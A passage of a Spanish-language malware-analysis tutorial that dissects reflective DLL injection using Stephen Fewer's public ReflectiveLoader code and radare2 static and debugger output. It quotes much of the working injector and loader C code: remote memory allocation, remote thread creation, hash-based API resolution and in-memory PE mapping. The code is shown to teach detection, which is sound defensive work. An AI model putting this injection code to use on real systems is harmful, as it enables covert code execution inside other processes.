        printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );

        WaitForSingleObject( hModule, -1 );

Vemos cómo se obtiene el handle del proceso:

Análisis estático
FIG. 05 Análisis estático

Análisis estático
FIG. 06 Análisis estático

Y luego se pasa a una función que podemos identificar como el inyector:

Análisis estático
FIG. 07 Análisis estático

A continuación vemos una combinación de VirtualAllocEx, WriteProcessMemory y CreateRemoteThread que debería disparar una alerta:

CÓDIGO / SALIDA
do
        {
            if( !hProcess  || !lpBuffer || !dwLength )
                break;

            // check if the library has a ReflectiveLoader...
            dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
            if( !dwReflectiveLoaderOffset )
                break;

            // alloc memory (RWX) in the host process for the image...
            lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
            if( !lpRemoteLibraryBuffer )
                break;

            // write the image into the host process...
            if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
                break;

            // add the offset to ReflectiveLoader() to the remote library address...
            lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

            // create a remote thread in the host process to call the ReflectiveLoader!
            hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

        } while( 0 );

La llamada a GetRflctivLoadr analiza los exports de la DLL a inyectar para buscar ReflectiveLoader.

En radare2 o la herramienta de reversing de nuestra elección esto se detecta fácilmente:

Análisis estático
FIG. 08 Análisis estático
Análisis estático
FIG. 09 Análisis estático

Tras la llamada a CreateRemoteThread que referencia al ReflectiveLoader, la ejecución pasa al código de la DLL.

El ReflectiveLoader es código independiente de posición (position-independent code): puede ejecutarse sin importar dónde esté ubicado, ya que no hace referencias a posiciones fijas de memoria como llamadas API. Esto es habitual en shellcode, por ejemplo al trabajar con exploits. El cargador resolverá todo lo que necesita para la ejecución al vuelo.

Primero comprueba que se trata de un ejecutable válido verificando la firma MZ.

C
while( TRUE )
    {
        if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
        {
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
            // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
            if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
            {
                uiHeaderValue += uiLibraryAddress;
                // break if we have found a valid MZ/PE header
                if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                    break;
            }
        }
        uiLibraryAddress--;
    }

Después resuelve las bibliotecas necesarias:

C
while( uiValueA )
    {
        // get pointer to current modules name (unicode string)
        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
        // set bCounter to the length for the loop
        usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
        // clear uiValueC which will store the hash of the module name
        uiValueC = 0;

        // compute the hash of the module name...
        do
        {
            uiValueC = ror( (DWORD)uiValueC );
            // normalize to uppercase if the madule name is in lowercase
            if( *((BYTE *)uiValueB) >= 'a' )
                uiValueC += *((BYTE *)uiValueB) - 0x20;
            else
                uiValueC += *((BYTE *)uiValueB);
            uiValueB++;
        } while( --usCounter );

        // compare the hash with that of kernel32.dll
        if( (DWORD)uiValueC == KERNEL32DLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 3;

Esto es muy fácil de detectar en análisis estático: para hacerlo, el cargador recorre el PEB y calcula el hash de las entradas para comprobar si se corresponden con los hashes que busca. Esos hashes ROR aparecen codificados como valores fijos, como vemos aquí:

Análisis estático
FIG. 10 Análisis estático

Una simple búsqueda en Google revela información:

Análisis estático
FIG. 11 Análisis estático

Una vez resueltas las bibliotecas, lo siguiente es resolver las funciones necesarias: GetProcAddress, VirtualAlloc y LoadLibrary.

C
while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

                // if we have found a function we want we get its virtual address
                if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == LOADLIBRARYA_HASH )
                        pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == GETPROCADDRESS_HASH )
                        pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == VIRTUALALLOC_HASH )
                        pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }

El proceso es muy similar:

Análisis estático
FIG. 12 Análisis estático

Un vistazo rápido a varios proyectos de GitHub revela la lista completa:

Análisis estático
FIG. 13 Análisis estático

Hecho esto, el cargador pasa al paso 2: usar el recién resuelto VirtualAlloc para cargarse a sí mismo (la DLL completa) en memoria dentro del programa:

C
// STEP 2: load our image into a new permanent location in memory...

    // get the VA of the NT Header for the PE to be loaded
    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    // we must now copy over the headers
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;

Esto también es fácil de detectar, ya que a la llamada a VirtualAlloc le sigue un patrón reconocible: el 0x40 para RWX y un tamaño grande a reservar.

Análisis estático
FIG. 14 Análisis estático

El paso 3 mapea la DLL sección por sección:

C
// STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

    // itterate through all sections, loading them into memory.
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
        // uiValueB is the VA for this section
        uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

        // uiValueC if the VA for this sections data
        uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

        // copy the section over
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

        while( uiValueD-- )
            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

        // get the VA of the next section
        uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }

Ese while anidado también se puede identificar, aunque de forma menos clara. Hay que prestar atención al mov byte dentro de un bucle.

Análisis estático
FIG. 15 Análisis estático

Después hay que corregir la tabla de imports en el paso 4, para mapearla al espacio real del proceso.

C
// STEP 4: process our images import table...

    // uiValueB = the address of the import directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

    // we assume their is an import table to process
    // uiValueC is the first entry in the import table
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

    // itterate through all imports
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
    {
        // use LoadLibraryA to load the imported module into memory
        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

        // uiValueD = VA of the OriginalFirstThunk
        uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
        uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

        // itterate through all imported functions, importing by ordinal if no name present
        while( DEREF(uiValueA) )
        {
            // sanity check uiValueD as some compilers only import by FirstThunk
            if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
            {
                // get the VA of the modules NT Header
                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

                // uiNameArray = the address of the modules export directory entry
                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

                // get the VA of the export directory
                uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

                // get the VA for the array of addresses
                uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                // use the import ordinal (- export ordinal base) as an index into the array of addresses
                uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

                // patch in the address for this imported function
                DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
            }
            else
            {
                // get the VA of this functions import by name struct
                uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

                // use GetProcAddress and patch in the address for this imported function
                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
            }
            // get the next imported function
            uiValueA += sizeof( ULONG_PTR );
            if( uiValueD )
                uiValueD += sizeof( ULONG_PTR );
        }

        // get the next import
        uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }

Este paso puede ser difícil de detectar estáticamente; hay que prestar atención a la llamada call var_ch (¿qué contiene?).

Análisis estático
FIG. 16 Análisis estático

Luego el paso 5, que desde el punto de vista del reversing es menos relevante.

Análisis estático
FIG. 17 Análisis estático

Y finalmente, este es importante: la llamada al punto de entrada, ya que la DLL está completamente mapeada:

C
// STEP 6: call our images entry point

    // uiValueA = the VA of our newly loaded DLL/EXE's entry point
    uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

    // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

    // call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
    // if we are injecting an DLL via a stub we call DllMain with no parameter
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

    // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
    return uiValueA;

Este es un punto interesante para colocar un breakpoint, pues abre la puerta a todo lo que se ejecutará tras la inyección reflectiva de la DLL:

Análisis estático
FIG. 18 Análisis estático

En este caso, la DLL que se inyecta en el ejemplo de Stephen Fewer es esta: el típico MessageBox inofensivo:

C
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"

// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.

// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
    switch( dwReason ) 
    { 
        case DLL_QUERY_HMODULE:
            if( lpReserved != NULL )
                *(HMODULE *)lpReserved = hAppInstance;
            break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
            break;
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
            break;
    }
    return bReturnValue;
}

Depuración del inyector

Veámoslo ahora desde el punto de vista del depurador:

En radare2 podemos ver fácilmente que se está produciendo una carga reflectiva comprobando los exports de la DLL maliciosa:

CÓDIGO / SALIDA
PS C:\Users\lab\Desktop > radare2 -AAA .\reflective_dll.dll
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- We don't make mistakes... just happy little segfaults.
[0x100015c5]> iE
[Exports]

nth paddr      vaddr      bind   type size lib                name
------------------------------------------------------------------
1   0x00000460 0x10001060 GLOBAL FUNC 0    reflective_dll.dll _ReflectiveLoader@4

[0x100015c5]>

Al comprobar el inyector, vemos que primero se cargan los bytes crudos de la DLL.

ENSAMBLADOR / REFERENCIA
|   | |||   0x00f610dc      8d4c2424       lea ecx, [esp + 0x24]
|   | |||   0x00f610e0      51             push ecx
|   | |||   0x00f610e1      57             push edi
|   | |||   0x00f610e2      50             push eax
|   | |||   0x00f610e3      53             push ebx
|   | |||   0x00f610e4      ff152090f600   call dword [sym.imp.KERNEL32.dll_ReadFile] ; 0xf69020 ; "N\xd4"
|   | |||   0x00f610ea b    8b1d4490f600   mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle] ; [0xf69044:4]=0xd46a ; "j\xd4"

[0x00f610e4]> pxr @ rsp
0x001cf9e4 0x000000e4  .... @ rsp 228 rbx
0x001cf9e8 0x0060afc8  ..`. PRIVATE   rax
0x001cf9ec 0x0000e600  .... 58880 rdi
0x001cf9f0 0x001cfa18  .... PRIVATE   rcx R W 0x0
0x001cf9f4 ..[ null bytes ]..   00000000

[0x00f610e4]> pxw @ 0x0060afc8
0x0060afc8  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x0060afd8  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x0060afe8  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0060aff8  0x00000000 0x00000000 0x00000000 0x000000e8  ................
0x0060b008  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x0060b018  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x0060b028  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x0060b038  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x0060b048  0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8  ................
0x0060b058  0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2  .<d......<f.....
0x0060b068  0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6  .<e.............
0x0060b078  0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea  ........J=y.....
0x0060b088  0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9  J=a.....J=b.....
0x0060b098  0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8  J=g.....Rich....
0x0060b0a8  0x00000000 0x00000000 0x00004550 0x0005014c  ........PE..L...
0x0060b0b8  0x50c9c763 0x00000000 0x00000000 0x210200e0  c..P...........!

Esto es interesante porque aquí es bastante básico, ya que la DLL ya está en disco. Pero si pensamos en una DLL descargada desde un C2, este es el momento de volcar la DLL para reversearla individualmente más tarde.

Después la llamada al inyector, y VirtualAllocEx:

ENSAMBLADOR / REFERENCIA
[0x00f610e4]> dc
hit breakpoint at: 0xf611b2
[0x00f611b2]> pd 10
|           ;-- rip:
|           0x00f611b2 b    e829020000     call fcn.004013e0
|           0x00f611b7      89442410       mov dword [esp + 0x10], eax
|           0x00f611bb      85c0           test eax, eax
|       ,=< 0x00f611bd      751b           jne 0xf611da
|       |   0x00f611bf      ff152490f600   call dword [sym.imp.KERNEL32.dll_GetLastError] ; 0xf69024
|       |   0x00f611c5      50             push eax
|       |   0x00f611c6      6818cef600     push str.Failed_to_inject_the_DLL ; 0xf6ce18 ; "Failed to inject the DLL"
|       |   0x00f611cb      6890cdf600     push str._____s._Error_d    ; 0xf6cd90 ; "[-] %s. Error=%d"
|       |   0x00f611d0      e81c030000     call fcn.004014f1
|       |   0x00f611d5      83c40c         add esp, 0xc
ENSAMBLADOR / REFERENCIA
|    ||||   ;-- rip:
|    ||||   0x00f61449 b    ff153490f600   call dword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; 0xf69034
|    ||||   0x00f6144f b    894508         mov dword [ebp + 8], eax
|    ||||   0x00f61452      85c0           test eax, eax

[0x00f61449]> dc
hit breakpoint at: 0xf6144f
[0x00f61449]> dr rax
0x00050000
[0x00f61449]> pxw @ 0x00050000
0x00050000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050030  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050040  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050050  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050060  0x00000000 0x00000000 0x00000000 0x00000000  ................

Anotamos el espacio reservado para la DLL maliciosa; esto es importante porque lo comprobaremos de nuevo tras la inyección del código, y colocaremos algunos breakpoints:

Tras eso, se escribe la DLL:

CÓDIGO / SALIDA
[0x00f61449]> dc
hit breakpoint at: 0xf61463
[0x00f61449]> pxw @ 0x00050000
0x00050000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x00050010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x00050020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x00050030  0x00000000 0x00000000 0x00000000 0x000000e8  ................
0x00050040  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x00050050  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x00050060  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x00050070  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x00050080  0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8  ................
0x00050090  0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2  .<d......<f.....

Y pasamos la ejecución mediante un hilo:

ENSAMBLADOR / REFERENCIA
|  ||||||   0x00f61470      51             push ecx
|  ||||||   0x00f61471      56             push esi
|  ||||||   0x00f61472      56             push esi
|  ||||||   0x00f61473      50             push eax
|  ||||||   0x00f61474      6800001000     push 0x100000
|  ||||||   0x00f61479      56             push esi
|  ||||||   0x00f6147a      57             push edi
|  ||||||   ;-- rip:
|  ||||||   0x00f6147b b    ff153090f600   call dword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; 0xf69030 ; "P;\x93u\x10]\x93u`_\x93u\xa0]Aw`3\x92u\xe0.\x92u01\x92u\xe0\x1e\x92u\xd0 \x92up\v\x92uPWCw\x90MCw\xf0\xfe@w`\xe7@w\xa0\u07d1u\xe0\xe7\x91u`\xe8\x91u\x10\u07d1u\x10N\x92u@\x16\x92uP\xf5\x91u\x80\u07d1u"

Comprobando los parámetros pasados a CreateRemoteThread, vemos nuestro espacio de direcciones; más concretamente, vemos el punto de entrada. Es el momento de poner un breakpoint ahí:

CÓDIGO / SALIDA
[0x00f61449]> pxr @ rsp
0x001cf994 0x000000e8  .... @ rsp 232 rdi
0x001cf998 ..[ null bytes ]..   00000000
0x001cf99c 0x00100000  .... PRIVATE
0x001cf9a0 0x00050460  `... PRIVATE   rax R W X 'push ebp' 'PRIVATE  '
0x001cf9a4 ..[ null bytes ]..   00000000
0x001cf9ac 0x001cf9c4  .... PRIVATE   rcx R W 0x0

Y la ejecución se traslada allí:

ENSAMBLADOR / REFERENCIA
[0x00f61449]> pd 50 @ 0x00050460
            ;-- rax:
            0x00050460      55             push ebp
            0x00050461      8bec           mov ebp, esp
            0x00050463      83ec20         sub esp, 0x20
            0x00050466      53             push ebx
            0x00050467      56             push esi
            0x00050468      57             push edi
            0x00050469      33db           xor ebx, ebx
            0x0005046b      33ff           xor edi, edi
            0x0005046d      c745e8000000.  mov dword [ebp - 0x18], 0
            0x00050474      897df4         mov dword [ebp - 0xc], edi
            0x00050477      895dec         mov dword [ebp - 0x14], ebx
            0x0005047a      895de4         mov dword [ebp - 0x1c], ebx
            0x0005047d      e8ceffffff     call 0x50450
            0x00050482      8bd0           mov edx, eax

Paso a paso empezamos a ver los mismos pasos que detectamos estáticamente:

ENSAMBLADOR / REFERENCIA
     : ||   0x0005054b      8a0a           mov cl, byte [edx]
     : ||   0x0005054d      84c9           test cl, cl
     `====< 0x0005054f      75ef           jne 0x50540
       ||   0x00050551      3d8e4e0eec     cmp eax, 0xec0e4e8e
      ,===< 0x00050556      740e           je 0x50566
      |||   0x00050558      3daafc0d7c     cmp eax, 0x7c0dfcaa
     ,====< 0x0005055d      7407           je 0x50566
     ||||   0x0005055f      3d54caaf91     cmp eax, 0x91afca54
     ||||   0x00050564      7545           jne 0x505ab
     ||||   ; CODE XREF from unk @
     ||||   ; CODE XREF from unk @
     ``---> 0x00050566      8b4df0         mov ecx, dword [ebp - 0x10]
       ||   0x00050569      0fb711         movzx edx, word [ecx]
       ||   0x0005056c      8b4de0         mov ecx, dword [ebp - 0x20]
       ||   0x0005056f      8b491c         mov ecx, dword [ecx + 0x1c]

El análisis de kernel/ntdll:

ENSAMBLADOR / REFERENCIA
       ||   0x00930551 b    3d8e4e0eec     cmp eax, 0xec0e4e8e
      ,===< 0x00930556      740e           je 0x930566
      |||   0x00930558      3daafc0d7c     cmp eax, 0x7c0dfcaa

[0x00930460]> dc
hit breakpoint at: 0x930551
[0x00930551]> dr rax
0xa77d8d5a
[0x00930551]>

Y el análisis de las llamadas API a partir de sus hashes.

ENSAMBLADOR / REFERENCIA
      |||   ;-- rip:
      |``-> 0x00930566 b    8b4df0         mov ecx, dword [ebp - 0x10]
[0x00930551]> dr eax
0x7c0dfcaa
[0x00930551]> (GETPROCADDRESS)

Luego la llamada a VirtualAlloc:

ENSAMBLADOR / REFERENCIA
            0x0093065c      0f856efeffff   jne 0x9304d0
            0x00930662      8b55f8         mov edx, dword [ebp - 8]
            0x00930665      8b7a3c         mov edi, dword [edx + 0x3c]
            0x00930668      6a40           push 0x40                   ; '@' ; 64
            0x0093066a      03fa           add edi, edx
            0x0093066c      6800300000     push 0x3000
            0x00930671      ff7750         push dword [edi + 0x50]
            0x00930674      897dec         mov dword [ebp - 0x14], edi
            0x00930677      6a00           push 0
            0x00930679      ffd3           call ebx

Que reserva espacio para que la misma DLL se mapee en el proceso:

ENSAMBLADOR / REFERENCIA
[0x00930677]> pd 10
            0x00930677 b    6a00           push 0
            0x00930679      ffd3           call ebx
            ;-- rip:
            0x0093067b b    8b5754         mov edx, dword [edi + 0x54]
            0x0093067e      8bf0           mov esi, eax
            0x00930680      8b45f8         mov eax, dword [ebp - 8]
            0x00930683      8975fc         mov dword [ebp - 4], esi
            0x00930686      8bc8           mov ecx, eax
            0x00930688      85d2           test edx, edx
        ,=< 0x0093068a      7412           je 0x93069e
        |   0x0093068c      2bf0           sub esi, eax
[0x00930677]> dr rax
0x009e0000
[0x00930677]> pxw @ 0x009e0000
0x009e0000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x009e0010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x009e0020  0x00000000 0x00000000 0x00000000 0x00000000  ................

Después el proceso de carga:

ENSAMBLADOR / REFERENCIA
< 0x009306a8      7436           je 0x9306e0
        |   0x009306aa      83c02c         add eax, 0x2c               ; 44
        |   0x009306ad      03f8           add edi, eax
        |   0x009306af      8b45f8         mov eax, dword [ebp - 8]
       .--> 0x009306b2      8b4ff8         mov ecx, dword [edi - 8]
       :|   0x009306b5      8b17           mov edx, dword [edi]
       :|   0x009306b7      03ce           add ecx, esi
       :|   0x009306b9      8b77fc         mov esi, dword [edi - 4]
       :|   0x009306bc      4b             dec ebx
       :|   0x009306bd      03d0           add edx, eax
       :|   0x009306bf      85f6           test esi, esi
      ,===< 0x009306c1      7410           je 0x9306d3
     .----> 0x009306c3      8a02           mov al, byte [edx]
     :|:|   0x009306c5      8801           mov byte [ecx], al
     :|:|   0x009306c7      8d4901         lea ecx, [ecx + 1]
     :|:|   0x009306ca      8d5201         lea edx, [edx + 1]
     :|:|   0x009306cd      4e             dec esi
     `====< 0x009306ce      75f3           jne 0x9306c3
      |:|   0x009306d0      8b45f8         mov eax, dword [ebp - 8]
      `---> 0x009306d3      8b75fc         mov esi, dword [ebp - 4]
       :|   0x009306d6      83c728         add edi, 0x28               ; 40
       :|   0x009306d9      85db           test ebx, ebx
       `==< 0x009306db      75d5           jne 0x9306b2
        |   0x009306dd      8b7dec         mov edi, dword [ebp - 0x14]
        `-> 0x009306e0      8bb780000000   mov esi, dword [edi + 0x80]
            0x009306e6      8b55fc         mov edx, dword [ebp - 4]

Que mapea la DLL en el espacio reservado:

CÓDIGO / SALIDA
[0x00930677]> dc
hit breakpoint at: 0x9306e0
[0x009306e0]> pxw @ 0x009e0000
0x009e0000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x009e0010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x009e0020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x009e0030  0x00000000 0x00000000 0x00000000 0x000000e8  ................
0x009e0040  0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd  ........!..L.!Th
0x009e0050  0x70207369 0x72676f72 0x63206d61 0x6f6e6e61  is program canno
0x009e0060  0x65622074 0x6e757220 0x206e6920 0x20534f44  t be run in DOS
0x009e0070  0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000  mode....$.......
0x009e0080  0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8  ................
0x009e0090  0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2  .<d......<f.....
0x009e00a0  0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6  .<e.............
0x009e00b0  0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea  ........J=y.....
0x009e00c0  0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9  J=a.....J=b.....
0x009e00d0  0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8  J=g.....Rich....

Luego la corrección de direcciones de memoria mediante las relocalizaciones, junto con el resto de los pasos:

ENSAMBLADOR / REFERENCIA
[0x00930745]> pd 20
       ::   ;-- rip:
       ::   0x00930745 b    8906           mov dword [esi], eax
       ::   0x00930747      83c604         add esi, 4
       ::   0x0093074a      85ff           test edi, edi
      ,===< 0x0093074c      7403           je 0x930751
      |::   0x0093074e      83c704         add edi, 4
      `---> 0x00930751      833e00         cmp dword [esi], 0
       `==< 0x00930754      75ba           jne 0x930710
        :   0x00930756      8b75f0         mov esi, dword [ebp - 0x10]
        :   0x00930759      83c614         add esi, 0x14               ; 20

[0x009306e0]> db 0x00930745
[0x009306e0]> dc
(4084) loading library at 0x0000000076680000 (C:\Windows\SysWOW64\user32.dll) user32.dll
